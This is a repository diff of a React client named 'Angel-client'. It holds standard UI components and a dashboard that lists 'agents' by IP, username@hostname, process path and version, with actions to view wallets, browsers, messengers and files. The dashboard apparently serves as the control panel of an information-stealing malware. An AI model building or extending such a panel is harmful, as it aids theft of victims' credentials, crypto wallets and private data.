||||
data-sidebar="menu-sub"
|
||||
className={cn(
|
||||
"mx-3.5 flex min-w-0 translate-x-px flex-col gap-1 border-l border-sidebar-border px-2.5 py-0.5",
|
||||
"group-data-[collapsible=icon]:hidden",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
SidebarMenuSub.displayName = "SidebarMenuSub"
|
||||
|
||||
const SidebarMenuSubItem = React.forwardRef<
|
||||
HTMLLIElement,
|
||||
React.ComponentProps<"li">
|
||||
>(({ ...props }, ref) => <li ref={ref} {...props} />)
|
||||
SidebarMenuSubItem.displayName = "SidebarMenuSubItem"
|
||||
|
||||
const SidebarMenuSubButton = React.forwardRef<
|
||||
HTMLAnchorElement,
|
||||
React.ComponentProps<"a"> & {
|
||||
asChild?: boolean
|
||||
size?: "sm" | "md"
|
||||
isActive?: boolean
|
||||
}
|
||||
>(({ asChild = false, size = "md", isActive, className, ...props }, ref) => {
|
||||
const Comp = asChild ? Slot : "a"
|
||||
|
||||
return (
|
||||
<Comp
|
||||
ref={ref}
|
||||
data-sidebar="menu-sub-button"
|
||||
data-size={size}
|
||||
data-active={isActive}
|
||||
className={cn(
|
||||
"flex h-7 min-w-0 -translate-x-px items-center gap-2 overflow-hidden rounded-md px-2 text-sidebar-foreground outline-none ring-sidebar-ring hover:bg-sidebar-accent hover:text-sidebar-accent-foreground focus-visible:ring-2 active:bg-sidebar-accent active:text-sidebar-accent-foreground disabled:pointer-events-none disabled:opacity-50 aria-disabled:pointer-events-none aria-disabled:opacity-50 [&>span:last-child]:truncate [&>svg]:size-4 [&>svg]:shrink-0 [&>svg]:text-sidebar-accent-foreground",
|
||||
"data-[active=true]:bg-sidebar-accent data-[active=true]:text-sidebar-accent-foreground",
|
||||
size === "sm" && "text-xs",
|
||||
size === "md" && "text-sm",
|
||||
"group-data-[collapsible=icon]:hidden",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
SidebarMenuSubButton.displayName = "SidebarMenuSubButton"
|
||||
|
||||
export {
|
||||
Sidebar,
|
||||
SidebarContent,
|
||||
SidebarFooter,
|
||||
SidebarGroup,
|
||||
SidebarGroupAction,
|
||||
SidebarGroupContent,
|
||||
SidebarGroupLabel,
|
||||
SidebarHeader,
|
||||
SidebarInput,
|
||||
SidebarInset,
|
||||
SidebarMenu,
|
||||
SidebarMenuAction,
|
||||
SidebarMenuBadge,
|
||||
SidebarMenuButton,
|
||||
SidebarMenuItem,
|
||||
SidebarMenuSkeleton,
|
||||
SidebarMenuSub,
|
||||
SidebarMenuSubButton,
|
||||
SidebarMenuSubItem,
|
||||
SidebarProvider,
|
||||
SidebarRail,
|
||||
SidebarSeparator,
|
||||
SidebarTrigger,
|
||||
useSidebar,
|
||||
}
|
||||
15
full/Angel-client/src/components/ui/skeleton.tsx
Normal file
@@ -0,0 +1,15 @@
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
function Skeleton({
|
||||
className,
|
||||
...props
|
||||
}: React.HTMLAttributes<HTMLDivElement>) {
|
||||
return (
|
||||
<div
|
||||
className={cn("animate-pulse rounded-md bg-primary/10", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
export { Skeleton }
|
||||
120
full/Angel-client/src/components/ui/table.tsx
Normal file
@@ -0,0 +1,120 @@
|
||||
import * as React from "react"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Table = React.forwardRef<
|
||||
HTMLTableElement,
|
||||
React.HTMLAttributes<HTMLTableElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div className="relative w-full overflow-auto">
|
||||
<table
|
||||
ref={ref}
|
||||
className={cn("w-full caption-bottom text-sm", className)}
|
||||
{...props}
|
||||
/>
|
||||
</div>
|
||||
))
|
||||
Table.displayName = "Table"
|
||||
|
||||
const TableHeader = React.forwardRef<
|
||||
HTMLTableSectionElement,
|
||||
React.HTMLAttributes<HTMLTableSectionElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<thead ref={ref} className={cn("[&_tr]:border-b", className)} {...props} />
|
||||
))
|
||||
TableHeader.displayName = "TableHeader"
|
||||
|
||||
const TableBody = React.forwardRef<
|
||||
HTMLTableSectionElement,
|
||||
React.HTMLAttributes<HTMLTableSectionElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<tbody
|
||||
ref={ref}
|
||||
className={cn("[&_tr:last-child]:border-0", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableBody.displayName = "TableBody"
|
||||
|
||||
const TableFooter = React.forwardRef<
|
||||
HTMLTableSectionElement,
|
||||
React.HTMLAttributes<HTMLTableSectionElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<tfoot
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"border-t bg-muted/50 font-medium [&>tr]:last:border-b-0",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableFooter.displayName = "TableFooter"
|
||||
|
||||
const TableRow = React.forwardRef<
|
||||
HTMLTableRowElement,
|
||||
React.HTMLAttributes<HTMLTableRowElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<tr
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableRow.displayName = "TableRow"
|
||||
|
||||
const TableHead = React.forwardRef<
|
||||
HTMLTableCellElement,
|
||||
React.ThHTMLAttributes<HTMLTableCellElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<th
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"h-10 px-2 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableHead.displayName = "TableHead"
|
||||
|
||||
const TableCell = React.forwardRef<
|
||||
HTMLTableCellElement,
|
||||
React.TdHTMLAttributes<HTMLTableCellElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<td
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"p-2 align-middle [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableCell.displayName = "TableCell"
|
||||
|
||||
const TableCaption = React.forwardRef<
|
||||
HTMLTableCaptionElement,
|
||||
React.HTMLAttributes<HTMLTableCaptionElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<caption
|
||||
ref={ref}
|
||||
className={cn("mt-4 text-sm text-muted-foreground", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TableCaption.displayName = "TableCaption"
|
||||
|
||||
export {
|
||||
Table,
|
||||
TableHeader,
|
||||
TableBody,
|
||||
TableFooter,
|
||||
TableHead,
|
||||
TableRow,
|
||||
TableCell,
|
||||
TableCaption,
|
||||
}
|
||||
53
full/Angel-client/src/components/ui/tabs.tsx
Normal file
@@ -0,0 +1,53 @@
|
||||
import * as React from "react"
|
||||
import * as TabsPrimitive from "@radix-ui/react-tabs"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Tabs = TabsPrimitive.Root
|
||||
|
||||
const TabsList = React.forwardRef<
|
||||
React.ElementRef<typeof TabsPrimitive.List>,
|
||||
React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<TabsPrimitive.List
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TabsList.displayName = TabsPrimitive.List.displayName
|
||||
|
||||
const TabsTrigger = React.forwardRef<
|
||||
React.ElementRef<typeof TabsPrimitive.Trigger>,
|
||||
React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<TabsPrimitive.Trigger
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TabsTrigger.displayName = TabsPrimitive.Trigger.displayName
|
||||
|
||||
const TabsContent = React.forwardRef<
|
||||
React.ElementRef<typeof TabsPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<TabsPrimitive.Content
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
TabsContent.displayName = TabsPrimitive.Content.displayName
|
||||
|
||||
export { Tabs, TabsList, TabsTrigger, TabsContent }
|
||||
127
full/Angel-client/src/components/ui/toast.tsx
Normal file
@@ -0,0 +1,127 @@
|
||||
import * as React from "react"
|
||||
import { Cross2Icon } from "@radix-ui/react-icons"
|
||||
import * as ToastPrimitives from "@radix-ui/react-toast"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const ToastProvider = ToastPrimitives.Provider
|
||||
|
||||
const ToastViewport = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Viewport>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ToastPrimitives.Viewport
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ToastViewport.displayName = ToastPrimitives.Viewport.displayName
|
||||
|
||||
const toastVariants = cva(
|
||||
"group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default: "border bg-background text-foreground",
|
||||
destructive:
|
||||
"destructive group border-destructive bg-destructive text-destructive-foreground",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
const Toast = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &
|
||||
VariantProps<typeof toastVariants>
|
||||
>(({ className, variant, ...props }, ref) => {
|
||||
return (
|
||||
<ToastPrimitives.Root
|
||||
ref={ref}
|
||||
className={cn(toastVariants({ variant }), className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
})
|
||||
Toast.displayName = ToastPrimitives.Root.displayName
|
||||
|
||||
const ToastAction = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Action>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ToastPrimitives.Action
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"inline-flex h-8 shrink-0 items-center justify-center rounded-md border bg-transparent px-3 text-sm font-medium transition-colors hover:bg-secondary focus:outline-none focus:ring-1 focus:ring-ring disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-muted/40 group-[.destructive]:hover:border-destructive/30 group-[.destructive]:hover:bg-destructive group-[.destructive]:hover:text-destructive-foreground group-[.destructive]:focus:ring-destructive",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ToastAction.displayName = ToastPrimitives.Action.displayName
|
||||
|
||||
const ToastClose = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Close>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ToastPrimitives.Close
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"absolute right-1 top-1 rounded-md p-1 text-foreground/50 opacity-0 transition-opacity hover:text-foreground focus:opacity-100 focus:outline-none focus:ring-1 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600",
|
||||
className
|
||||
)}
|
||||
toast-close=""
|
||||
{...props}
|
||||
>
|
||||
<Cross2Icon className="h-4 w-4" />
|
||||
</ToastPrimitives.Close>
|
||||
))
|
||||
ToastClose.displayName = ToastPrimitives.Close.displayName
|
||||
|
||||
const ToastTitle = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Title>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ToastPrimitives.Title
|
||||
ref={ref}
|
||||
className={cn("text-sm font-semibold [&+div]:text-xs", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ToastTitle.displayName = ToastPrimitives.Title.displayName
|
||||
|
||||
const ToastDescription = React.forwardRef<
|
||||
React.ElementRef<typeof ToastPrimitives.Description>,
|
||||
React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<ToastPrimitives.Description
|
||||
ref={ref}
|
||||
className={cn("text-sm opacity-90", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
ToastDescription.displayName = ToastPrimitives.Description.displayName
|
||||
|
||||
type ToastProps = React.ComponentPropsWithoutRef<typeof Toast>
|
||||
|
||||
type ToastActionElement = React.ReactElement<typeof ToastAction>
|
||||
|
||||
export {
|
||||
type ToastProps,
|
||||
type ToastActionElement,
|
||||
ToastProvider,
|
||||
ToastViewport,
|
||||
Toast,
|
||||
ToastTitle,
|
||||
ToastDescription,
|
||||
ToastClose,
|
||||
ToastAction,
|
||||
}
|
||||
33
full/Angel-client/src/components/ui/toaster.tsx
Normal file
@@ -0,0 +1,33 @@
|
||||
import { useToast } from "@/hooks/use-toast"
|
||||
import {
|
||||
Toast,
|
||||
ToastClose,
|
||||
ToastDescription,
|
||||
ToastProvider,
|
||||
ToastTitle,
|
||||
ToastViewport,
|
||||
} from "@/components/ui/toast"
|
||||
|
||||
export function Toaster() {
|
||||
const { toasts } = useToast()
|
||||
|
||||
return (
|
||||
<ToastProvider>
|
||||
{toasts.map(function ({ id, title, description, action, ...props }) {
|
||||
return (
|
||||
<Toast key={id} {...props}>
|
||||
<div className="grid gap-1">
|
||||
{title && <ToastTitle>{title}</ToastTitle>}
|
||||
{description && (
|
||||
<ToastDescription>{description}</ToastDescription>
|
||||
)}
|
||||
</div>
|
||||
{action}
|
||||
<ToastClose />
|
||||
</Toast>
|
||||
)
|
||||
})}
|
||||
<ToastViewport />
|
||||
</ToastProvider>
|
||||
)
|
||||
}
|
||||
30
full/Angel-client/src/components/ui/tooltip.tsx
Normal file
@@ -0,0 +1,30 @@
|
||||
import * as React from "react"
|
||||
import * as TooltipPrimitive from "@radix-ui/react-tooltip"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const TooltipProvider = TooltipPrimitive.Provider
|
||||
|
||||
const Tooltip = TooltipPrimitive.Root
|
||||
|
||||
const TooltipTrigger = TooltipPrimitive.Trigger
|
||||
|
||||
const TooltipContent = React.forwardRef<
|
||||
React.ElementRef<typeof TooltipPrimitive.Content>,
|
||||
React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>
|
||||
>(({ className, sideOffset = 4, ...props }, ref) => (
|
||||
<TooltipPrimitive.Portal>
|
||||
<TooltipPrimitive.Content
|
||||
ref={ref}
|
||||
sideOffset={sideOffset}
|
||||
className={cn(
|
||||
"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
</TooltipPrimitive.Portal>
|
||||
))
|
||||
TooltipContent.displayName = TooltipPrimitive.Content.displayName
|
||||
|
||||
export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider }
|
||||
542
full/Angel-client/src/dash.tsx
Normal file
@@ -0,0 +1,542 @@
|
||||
"use client";
|
||||
|
||||
import * as React from "react";
|
||||
//import Flag from "react-flagpack";
|
||||
import {
|
||||
ContextMenu,
|
||||
ContextMenuCheckboxItem,
|
||||
ContextMenuContent,
|
||||
ContextMenuItem,
|
||||
ContextMenuLabel,
|
||||
ContextMenuRadioGroup,
|
||||
ContextMenuRadioItem,
|
||||
ContextMenuSeparator,
|
||||
ContextMenuShortcut,
|
||||
ContextMenuSub,
|
||||
ContextMenuSubContent,
|
||||
ContextMenuSubTrigger,
|
||||
ContextMenuTrigger,
|
||||
} from "@/components/ui/context-menu";
|
||||
import {
|
||||
CaretSortIcon,
|
||||
ChevronDownIcon,
|
||||
DotsHorizontalIcon,
|
||||
} from "@radix-ui/react-icons";
|
||||
import {
|
||||
TableRow,
|
||||
TableBody,
|
||||
TableHeader,
|
||||
TableCell,
|
||||
Table,
|
||||
TableHead,
|
||||
} from "./components/ui/table";
|
||||
import {
|
||||
ColumnDef,
|
||||
ColumnFiltersState,
|
||||
SortingState,
|
||||
VisibilityState,
|
||||
flexRender,
|
||||
getCoreRowModel,
|
||||
getFilteredRowModel,
|
||||
getPaginationRowModel,
|
||||
getSortedRowModel,
|
||||
useReactTable,
|
||||
} from "@tanstack/react-table";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuCheckboxItem,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuGroup,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuLabel,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from "@/components/ui/dropdown-menu";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar";
|
||||
import { useToast } from "./hooks/use-toast";
|
||||
import DashSidebar from "./components/sidebar";
|
||||
import { SidebarTrigger } from "./components/ui/sidebar";
|
||||
import { ToastAction } from "@/components/ui/toast";
|
||||
//import Topbar from "./topbar";
|
||||
|
||||
type Angel = {
|
||||
agent_id: string;
|
||||
country: string;
|
||||
ip: string;
|
||||
system: string;
|
||||
name: string;
|
||||
process: string;
|
||||
//activity: boolean;
|
||||
version: string;
|
||||
};
|
||||
|
||||
export const agents: Angel[] = [
|
||||
{
|
||||
agent_id: "728ed52f",
|
||||
country: "nl-NL",
|
||||
ip: "193.173.216.118",
|
||||
system: "Windows 11 Home x64",
|
||||
name: "aeterna@pterodactyl",
|
||||
process: "9620 \\ C:\\ProgramData\\Prefetch\\na.exe",
|
||||
//activity: true,
|
||||
version: "0.3.4",
|
||||
},
|
||||
{
|
||||
agent_id: "b93ecf71",
|
||||
country: "us-US",
|
||||
ip: "192.168.1.101",
|
||||
system: "Windows 10 Pro x64",
|
||||
name: "lucas@dinosaur",
|
||||
process: "8456 \\ C:\\Program Files\\Example\\app.exe",
|
||||
version: "0.1.2",
|
||||
},
|
||||
{
|
||||
agent_id: "a56d90c2",
|
||||
country: "gb-GB",
|
||||
ip: "172.16.254.1",
|
||||
system: "Windows 11 Home x64",
|
||||
name: "mia@pterodactyl",
|
||||
process: "3045 \\ C:\\Users\\Mia\\Documents\\test.exe",
|
||||
version: "0.5.0",
|
||||
},
|
||||
{
|
||||
agent_id: "c2f1d3a8",
|
||||
country: "fr-FR",
|
||||
ip: "10.0.0.5",
|
||||
system: "Windows 10 Home x64",
|
||||
name: "noah@velociraptor",
|
||||
process: "5732 \\ C:\\ProgramData\\Example\\example.exe",
|
||||
version: "0.2.8",
|
||||
},
|
||||
{
|
||||
agent_id: "e58b60a4",
|
||||
country: "de-DE",
|
||||
ip: "198.51.100.1",
|
||||
system: "Windows 11 Pro x64",
|
||||
name: "sophia@triceratops",
|
||||
process: "1903 \\ C:\\Apps\\Example\\launcher.exe",
|
||||
version: "0.4.3",
|
||||
},
|
||||
{
|
||||
agent_id: "d75a4e0c",
|
||||
country: "it-IT",
|
||||
ip: "203.0.113.5",
|
||||
system: "Windows 10 Home x64",
|
||||
name: "liam@raptor",
|
||||
process: "6821 \\ C:\\Program Files\\App\\run.exe",
|
||||
version: "0.3.9",
|
||||
},
|
||||
{
|
||||
agent_id: "f97cbe2e",
|
||||
country: "es-ES",
|
||||
ip: "192.0.2.1",
|
||||
system: "Windows 10 Pro x64",
|
||||
name: "ava@dragon",
|
||||
process: "4593 \\ C:\\Users\\Ava\\Downloads\\program.exe",
|
||||
version: "0.6.1",
|
||||
},
|
||||
{
|
||||
agent_id: "7bcfd1c3",
|
||||
country: "jp-JP",
|
||||
ip: "255.255.255.255",
|
||||
system: "Windows 11 Home x64",
|
||||
name: "haruki@bird",
|
||||
process: "3248 \\ C:\\Program Files (x86)\\Sample\\sample.exe",
|
||||
version: "0.1.0",
|
||||
},
|
||||
{
|
||||
agent_id: "1e6f0a42",
|
||||
country: "ca-CA",
|
||||
ip: "203.0.113.10",
|
||||
system: "Windows 10 Home x64",
|
||||
name: "emma@parrot",
|
||||
process: "8345 \\ C:\\ProgramData\\Apps\\utility.exe",
|
||||
version: "0.4.2",
|
||||
},
|
||||
{
|
||||
agent_id: "a39f0b77",
|
||||
country: "au-AU",
|
||||
ip: "192.0.2.50",
|
||||
system: "Windows 11 Pro x64",
|
||||
name: "oliver@ostrich",
|
||||
process: "4926 \\ C:\\Program Files\\Example\\app.exe",
|
||||
version: "0.2.5",
|
||||
},
|
||||
{
|
||||
agent_id: "62a1c7b8",
|
||||
country: "br-BR",
|
||||
ip: "192.168.0.15",
|
||||
system: "Windows 10 Pro x64",
|
||||
name: "isabella@eagle",
|
||||
process: "1864 \\ C:\\Users\\Isabella\\Desktop\\test.exe",
|
||||
version: "0.3.7",
|
||||
},
|
||||
];
|
||||
|
||||
/*export function resolve_country(country: string) {
|
||||
return <CountryFlag countryCode={country.split("-")[1]} />;
|
||||
}*/
|
||||
|
||||
export const columns: ColumnDef<Angel>[] = [
|
||||
{
|
||||
accessorKey: "agent_id",
|
||||
header: "Agent Identifier",
|
||||
cell: ({ row }) => (
|
||||
<div className="uppercase">{row.getValue("agent_id")}</div>
|
||||
),
|
||||
},
|
||||
{
|
||||
accessorKey: "country",
|
||||
header: "Country",
|
||||
//cell: ({ row }) => <div>{resolve_country(row.getValue("country"))}</div>,
|
||||
cell: ({ row }) => <div>{row.getValue("country")}</div>,
|
||||
},
|
||||
{
|
||||
accessorKey: "ip",
|
||||
header: "IPv4",
|
||||
cell: ({ row }) => <div>{row.getValue("ip")}</div>,
|
||||
},
|
||||
{
|
||||
accessorKey: "system",
|
||||
header: "Operating System",
|
||||
cell: ({ row }) => <div>{row.getValue("system")}</div>,
|
||||
},
|
||||
{
|
||||
accessorKey: "name",
|
||||
header: "username@hostname",
|
||||
cell: ({ row }) => <div>{row.getValue("name")}</div>,
|
||||
},
|
||||
{
|
||||
accessorKey: "process",
|
||||
header: "PID Process",
|
||||
cell: ({ row }) => <div>{row.getValue("process")}</div>,
|
||||
},
|
||||
/*{
|
||||
accessorKey: "activity",
|
||||
header: ({ column }) => {
|
||||
return (
|
||||
<Button
|
||||
variant="ghost"
|
||||
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
|
||||
>
|
||||
Activity
|
||||
<CaretSortIcon className="ml-2 h-4 w-4" />
|
||||
</Button>
|
||||
);
|
||||
},
|
||||
cell: ({ row }) => (
|
||||
<div>{(row.getValue("activity") === true && "Active") ?? "Inactive"}</div>
|
||||
),
|
||||
},*/
|
||||
{
|
||||
accessorKey: "version",
|
||||
header: "Angel Version",
|
||||
cell: ({ row }) => <div>{row.getValue("version")}</div>,
|
||||
},
|
||||
{
|
||||
id: "actions",
|
||||
enableHiding: false,
|
||||
cell: ({ row }) => {
|
||||
const agent = row.original;
|
||||
|
||||
return (
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
<span className="sr-only">Open menu</span>
|
||||
<DotsHorizontalIcon className="h-4 w-4" />
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||
<DropdownMenuItem
|
||||
onClick={() => navigator.clipboard.writeText(agent.agent_id)}
|
||||
>
|
||||
Copy agent ID
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem>Agent overview</DropdownMenuItem>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem>View wallets</DropdownMenuItem>
|
||||
<DropdownMenuItem>View network</DropdownMenuItem>
|
||||
<DropdownMenuItem>View apps</DropdownMenuItem>
|
||||
<DropdownMenuItem>View browser</DropdownMenuItem>
|
||||
<DropdownMenuItem>View system info</DropdownMenuItem>
|
||||
<DropdownMenuItem>View games</DropdownMenuItem>
|
||||
<DropdownMenuItem>View messengers</DropdownMenuItem>
|
||||
<DropdownMenuItem>View files</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
);
|
||||
},
|
||||
},
|
||||
];
|
||||
|
||||
/*export function DataMeow() {
|
||||
const chunkArray = (array: Angel[], chunkSize: number): Angel[][] => {
|
||||
const chunks: Angel[][] = [];
|
||||
for (let i = 0; i < array.length; i += chunkSize) {
|
||||
chunks.push(array.slice(i, i + chunkSize));
|
||||
}
|
||||
return chunks;
|
||||
};
|
||||
|
||||
const chunks = chunkArray(agents, 5);
|
||||
|
||||
return (
|
||||
<div>
|
||||
{chunks.map((chunk, index) => (
|
||||
<div key={index}>
|
||||
<DataTable tablemeow={chunk} />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}*/
|
||||
|
||||
/*interface DataTableProps {
|
||||
tablemeow: Angel[];
|
||||
}*/
|
||||
|
||||
//export function DataTable({ tablemeow }: DataTableProps) {
|
||||
export function DataTable() {
|
||||
const [sorting, setSorting] = React.useState<SortingState>([]);
|
||||
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
|
||||
[],
|
||||
);
|
||||
const [columnVisibility, setColumnVisibility] =
|
||||
React.useState<VisibilityState>({});
|
||||
const [rowSelection, setRowSelection] = React.useState({});
|
||||
|
||||
const [pageSize, setPageSize] = React.useState(10);
|
||||
const [pageIndex, setPageIndex] = React.useState(0);
|
||||
|
||||
const table = useReactTable({
|
||||
data: agents, // tablemeow
|
||||
columns,
|
||||
onSortingChange: setSorting,
|
||||
onColumnFiltersChange: setColumnFilters,
|
||||
getCoreRowModel: getCoreRowModel(),
|
||||
getPaginationRowModel: getPaginationRowModel(),
|
||||
getSortedRowModel: getSortedRowModel(),
|
||||
getFilteredRowModel: getFilteredRowModel(),
|
||||
onColumnVisibilityChange: setColumnVisibility,
|
||||
onRowSelectionChange: setRowSelection,
|
||||
//manualPagination: false,
|
||||
state: {
|
||||
sorting,
|
||||
columnFilters,
|
||||
columnVisibility,
|
||||
rowSelection,
|
||||
pagination: { pageSize, pageIndex },
|
||||
},
|
||||
});
|
||||
|
||||
const startRow =
|
||||
table.getState().pagination.pageIndex *
|
||||
table.getState().pagination.pageSize +
|
||||
1;
|
||||
const endRow = Math.min(
|
||||
(table.getState().pagination.pageIndex + 1) *
|
||||
table.getState().pagination.pageSize,
|
||||
table.getFilteredRowModel().rows.length,
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="w-full h-full">
|
||||
<div className="flex flex-wrap break-all items-center py-4">
|
||||
<Input
|
||||
placeholder="Filter by name..."
|
||||
value={(table.getColumn("name")?.getFilterValue() as string) ?? ""}
|
||||
onChange={(event) =>
|
||||
table.getColumn("name")?.setFilterValue(event.target.value)
|
||||
}
|
||||
className="max-w-sm"
|
||||
/>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="outline" className="ml-auto">
|
||||
Columns <ChevronDownIcon className="ml-2 h-4 w-4" />
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
{table
|
||||
.getAllColumns()
|
||||
.filter((column) => column.getCanHide())
|
||||
.map((column) => {
|
||||
return (
|
||||
<DropdownMenuCheckboxItem
|
||||
key={column.id}
|
||||
className="capitalize"
|
||||
checked={column.getIsVisible()}
|
||||
